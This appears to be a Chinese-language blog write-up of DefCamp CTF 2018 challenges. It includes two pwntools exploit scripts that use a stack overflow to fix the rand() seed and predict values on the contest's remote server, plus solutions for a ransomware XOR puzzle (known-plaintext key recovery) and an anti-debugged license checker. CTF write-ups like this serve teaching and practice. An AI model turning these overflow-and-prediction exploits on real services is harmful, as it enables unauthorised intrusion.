骑麦兜看落日

[WriteUp]DefCampCTF

字数统计: 1.8k阅读时长: 9 min
2018/09/25 Share

Pwn


lucky?


题目信息

How lucky are you?
Target: 167.99.143.206 65031
Bin: https://dctf.def.camp/dctf-18-quals-81249812/lucky
Author: Lucian Nitescu


程序分析

1
2
3
4
5
6
7
8
9
10
$ file lucky.dms 
lucky.dms: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=61ba6bf457aaf3ed977045d4b15fc9aee85f0415, stripped
$ checksec lucky.dms
[*] '/home/ls/Desktop/lucky.dms'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX disabled
PIE: PIE enabled
RWX: Has RWX segments

64位系统,动态链接,无符号

没有canary和NX,存在可执行段


解题过程

感谢钟阳师傅

程序使用C++编程,看起来有点费力

先梳理下程序流程:初始化种子值 -> 得到随机值 -> 输入姓名 -> 将姓名copy到栈中 -> 将随机值作为种子值 -> 输入猜的数字 -> 与随机值做比较 -> 循环100次

经过分析可以发现调用strcpy()函数copy姓名时存在栈溢出

这里需要了解的是rand()工作机制,计算机中的随机数是伪随机,在给定了种子值的情况下根据算法得到随机值,即可以通过种子值推算随机值

综上,我们可以溢出到第二次设置种子值的变量从而控制rand()函数得到我们可以预期的值


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
#!/usr/bin/env python

from pwn import *
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'lucky.dms'
ip = '167.99.143.206'
port = '65031'

def gdb(script = ''):
attach(io,gdbscript = script)

#io = process(exe)
io = remote(ip,port)
elf = ELF(exe)
#gdb()
padding = 'A' * 0x2c8

payload = padding

io.recvuntil('What is your name?')
io.sendline(payload)
io.recvuntil('[0/100]')

table = '''
79ef55a0
3b9717ae
41c57137
1b4bc588
56156104
1b60129e
5c0023e9
5c318861
a9d1c92
4fb8a5a3
535b44cb
25b9057d
12e0f7ce
25613deb
16640610
44a6562e
7e1f761
46438e1c
6a5d34fd
226d11d
6bc639ea
6db6e063
1d8457d3
6ac4f00
70fcdf2b
73b58117
1d88b8bd
a912a39
70a8c8
239370a9
6d8b0cf5
7a5ffe68
5f2a8857
2f507e2c
15abc3f1
353fe95c
4ab090cb
71abe7da
117171bd
554dad5d
41648d7d
64ccb688
7b06b2da
5445854c
a2df474
116ab8ea
18ebdb7a
120febd5
57ae4707
3491077
1436bcf2
437480f1
70fff0da
31bb14c5
4a20cff1
61fcd006
257095dc
67a988ae
6c8dfa3f
25e13ea4
b3cf958
5a190734
20413d0d
6a6781af
9698561
35ed00fe
1fa76b0b
541a162c
2798e8d8
3118dcc8
2967c389
68fd7655
15e59351
246e7663
3d42fba1
201387c5
35d92f4e
562ed71b
3223739a
d877655
5977e793
465a308c
50fbf746
4a77d86d
78154551
1b1cc738
2c74a873
1d85db2d
2c64fe6
1902a2b2
436719d1
e03493e
731ba9e7
63a856de
786acaee
7c852f48
199557dc
181235f9
509f4574
412e40b4
'''.split('\n')[1:]

for x in range(100):
print(str(int(table[x],16)))
io.sendline(str(int(table[x],16)))
io.recvuntil('Wow that is corect!')

io.recv()

io.interactive()

Even more lucky?


题目信息

We have updated the lucky game just for you! Now the executable is lighter and more efficient.
Target: 167.99.143.206 65032
Bin: https://dctf.def.camp/dctf-18-quals-81249812/lucky2
Author: Lucian Nitescu


程序分析

1
2
3
4
5
6
7
8
9
$ file lucky2.dms 
lucky2.dms: ELF 64-bit LSB shared object, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=7cb4b70af5ec30ce901a4d7473246f9bfb2f0759, stripped
$ checksec lucky2.dms
[*] '/home/ls/Desktop/lucky2.dms'
Arch: amd64-64-little
RELRO: Full RELRO
Stack: No canary found
NX: NX enabled
PIE: PIE enabled

64位,动态链接,无符号

没有开启NX


解题过程

程序和上一道题差不多

通用先分析程序流程:获取当前时间 -> 将时间值种子值 -> 输入名字 -> 输出Server time -> 输入猜的数字 -> 与随机值做比较 -> 循环100次

同样,我们需要知道种子值从而推算随机值,在这里种子值就是时间,我们只要得到当前时间即可


EXP

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
#!/usr/bin/env python

from pwn import *
import os
context(log_level = "debug",arch = "amd64",os = "linux")

exe = 'lucky2.dms'
ip = '167.99.143.206'
port = '65032'

def gdb(script = ''):
attach(io,gdbscript = script)

#io = process(exe)
io = remote(ip,port)
elf = ELF(exe)
#gdb()
padding = 'A' * 0x2c8

payload = padding

io.recvuntil('What is your name?')
io.sendline(payload)
io.recvuntil('[0/100]')

table = os.popen("./test").read().split('\n')

for x in range(100):
print(str(int(table[x],16)))
io.sendline(str(int(table[x],16)))
io.recvuntil('Wow that is corect!')

io.recv()

io.interactive()
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
//random.c

#include <stdio.h>
#include <stdlib.h>
#include <time.h>

int main(int argc, char const *argv[])
{
int rnd;
int t = time(0);
srand(t/10);

for (int i = 0; i < 100; ++i)
{
rnd = rand();
printf("%x\n", rnd);
}

return 0;
}

Ransomware


题目信息

Someone encrypted my homework with this rude script. HELP!
Author: Lucian Nitescu


解题过程

程序是.pyc文件,首先反编译成.py文件

程序使用随机值对文件进行异或加密并输出,我们只有加密后的文件,由于key是随机的所以无法推出原文件

但是可以知道原文件是一个.pdf格式的,拥有自己的文件格式并有一些magic,据此可以得到原文件


解密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
import string

allchar = string.ascii_letters + string.punctuation + string.digits
password = [0 for x in range(60)]
sign1 = [0x25,0x50,0x44,0x46,0x2D,0x31,0x2E] # %PDF-1.5
sign2 = [0x0A,0x25,0x25,0x45,0x4F,0x46,0x0A] # %%EOF
sign3 = [0x0D,0x2F,0x52,0x65,0x73,0x6F,0x75,0x72,0x63,0x65,0x73] # /Resource
sign4 = [0x20,0x2F,0x44,0x65,0x63,0x6F,0x64,0x65,0x50,0x61,0x72,0x6D,0x73,0x20] # /DecodeParms
sign5 = [0x73,0x74,0x72,0x65,0x61,0x6D,0x0A] # stream
sign6 = [0x43,0x61,0x74,0x61,0x6C,0x6F,0x67,0x0D,0x2F,0x50,0x61,0x67,0x65,0x73,0x20] # Catalog
sign7 = [0x0D,0x65,0x6E,0x64,0x73,0x74,0x72,0x65,0x61,0x6D] # endstream
sign8 = [0x0D,0x3E,0x3E,0x0D,0x73,0x74,0x61,0x72,0x74,0x78,0x72,0x65,0x66] # startxref
sign9 = [0x2F,0x46,0x6C,0x61,0x74,0x65,0x44,0x65,0x63,0x6F,0x64,0x65] # /FlateDecode
sign10 =[0x2F,0x4D,0x65,0x64,0x69,0x61,0x42,0x6F,0x78,0x20,0x5B] # MediaBox
sign11 =[0x2F,0x46,0x6C,0x61,0x74,0x65,0x44,0x65,0x63,0x6F,0x64,0x65,0x20] # /FlateDecode

with open('./youfool!.exe', 'rb') as f:
data = f.read()

def calculate(begin,end,offset,sign):
if begin>end:
end += 60
for i in range(begin, end):
password[i%60] = chr(data[offset+i-begin] ^ sign[i-begin])

calculate( 0, 7, 0x0, sign1) # T
calculate(40, 47, 0x2A1C,sign2) # T
calculate(53, 3, 0x253D,sign3) # T
calculate(30, 44, 0x10E, sign4) # T
calculate( 4, 11, 0x1E4, sign5)
calculate( 9, 24, 0x29D, sign6)
calculate(28, 37, 0x24E8,sign7)
calculate(23, 35, 0x2A0B,sign8)
calculate(46, 57, 0x2C2, sign9)
calculate(11, 22, 0x353, sign10)
calculate(18, 31, 0x102, sign11)

for i in range(len(password)):
if not password[i] in allchar:
break
print(password[i])
print(password[i], end='')

data = bytearray(data)
with open('test.pdf','wb') as f:
for i in range(len(data)):
data[i] = data[i] if password[i%60]==0 else data[i] ^ ord(password[i%60])
f.write(data)

Memsome


题目信息

I can not find my license file. Can you help me?
Target: file
Author: Lucian Nitescu


解题过程

程序本身并不难,但是使用了C++所以在反编译上看着有些困难

程序分别对每个输入的字符进行了加密,分别为凯撒加密 -> base64 -> md5 -> md5,然后将得到的结果与存储的key值作比较

这道题感觉直接看反编译的代码有点难,因为不了解C++中的一些函数的作用,对于名称空间了解的也不多,所以最好是在gdb中调试,观察内存中值的变化

但是程序存在大量的反调试

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
if ( ptrace(0, 0LL, 1LL, 0LL) < 0 )
sub_2868(0LL);
if ( (unsigned __int8)*((_DWORD *)sub_2852 + 1) == 204 )
sub_2868(0LL);
if ( (unsigned __int8)*((_DWORD *)sub_26D1 + 1) == 204 )
sub_2868(0LL);
if ( (unsigned __int8)*((_DWORD *)sub_2868 + 1) == 204 )
sub_2868(0LL);
if ( (unsigned __int8)*((_DWORD *)main + 1) == 204 )
sub_2868(0LL);
if ( (unsigned __int8)*((_DWORD *)sub_2500 + 1) == 204 )
sub_2868(0LL);
if ( (unsigned __int8)*((_DWORD *)sub_221A + 1) == 204 )
sub_2868(0LL);
if ( (unsigned __int8)*((_DWORD *)sub_23A5 + 1) == 204 )
sub_2868(0LL);
if ( (unsigned __int8)*((_DWORD *)sub_2882 + 1) == 204 )
sub_2868(0LL);
if ( (unsigned __int8)*((_DWORD *)sub_29A6 + 1) == 204 )
sub_2868(0LL);

这里也能侧面看出,进行gdb调试会好很多


解密算法

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
import string
import base64
import hashlib

base_addr = 0x2ECB
sign = b'\x48\x8d\x35'
iottable = 'NOPQRSTUVWXYZ[BCDEFGHIJKLMnopqrstuvwxyz{bcdefghijklm'
key = []
keystr = []
keyiot = []
dicttable = {}
allchar = string.ascii_letters + string.punctuation + string.digits

for i in allchar:
c = i[:]

if ord(c)-ord('A')>=0 and ord(c)-ord('Z')<=0:
c = iottable[ord(c)-ord('A')]
elif ord(i)-ord('a')>=0 and ord(i)-ord('z')<=0:
c = iottable[ord(c)-ord('a')+26]

base = base64.b64encode(c.encode('utf-8'))
md5 = hashlib.md5()
md5.update(base)
temp = md5.hexdigest()
md5 = hashlib.md5()
md5.update(temp.encode('utf-8'))
result = md5.hexdigest()
dicttable[result] = i

with open('memsom.dms','rb') as f:
data = f.read()
keydata = data[0x2ECB:0x4778]

for addr in range(len(keydata)):
if sign == keydata[addr:addr+3]:
offset = (keydata[addr+4]<<8) + keydata[addr+3]
tagret = base_addr + addr + 7 + offset

md5 = 0
for i in data[tagret:]:
if i == 0:
break
else:
md5 = (md5<<8)+i
key.append(md5)

for i in key:
i = hex(i)[2:].rjust(32, '0')
md5 = i
if len(i) > 0x20:
md5 = ''
for r in range(0,len(i),2):
md5 += chr(int(i[r:r+2],16))
keystr.append(md5)

for i in keystr:
print(dicttable[i],end='')

题目总结

  1. 题目使用的c++代码,审代码极度不适,主要是自己对于c++的不了解,对于一些函数不知道其作用
  2. 调试能力暴露无余,太菜了
  3. 需要了解c++的命名空间,可能对这道题的帮助会大一点
CATALOG
  1. 1. Pwn
    1. 1.1. lucky?
      1. 1.1.1. 题目信息
      2. 1.1.2. 程序分析
      3. 1.1.3. 解题过程
      4. 1.1.4. EXP
    2. 1.2. Even more lucky?
      1. 1.2.1. 题目信息
      2. 1.2.2. 程序分析
      3. 1.2.3. 解题过程
      4. 1.2.4. EXP
    3. 1.3. Ransomware
      1. 1.3.1. 题目信息
      2. 1.3.2. 解题过程
      3. 1.3.3. 解密算法
    4. 1.4. Memsome
      1. 1.4.1. 题目信息
      2. 1.4.2. 解题过程
      3. 1.4.3. 解密算法
      4. 1.4.4. 题目总结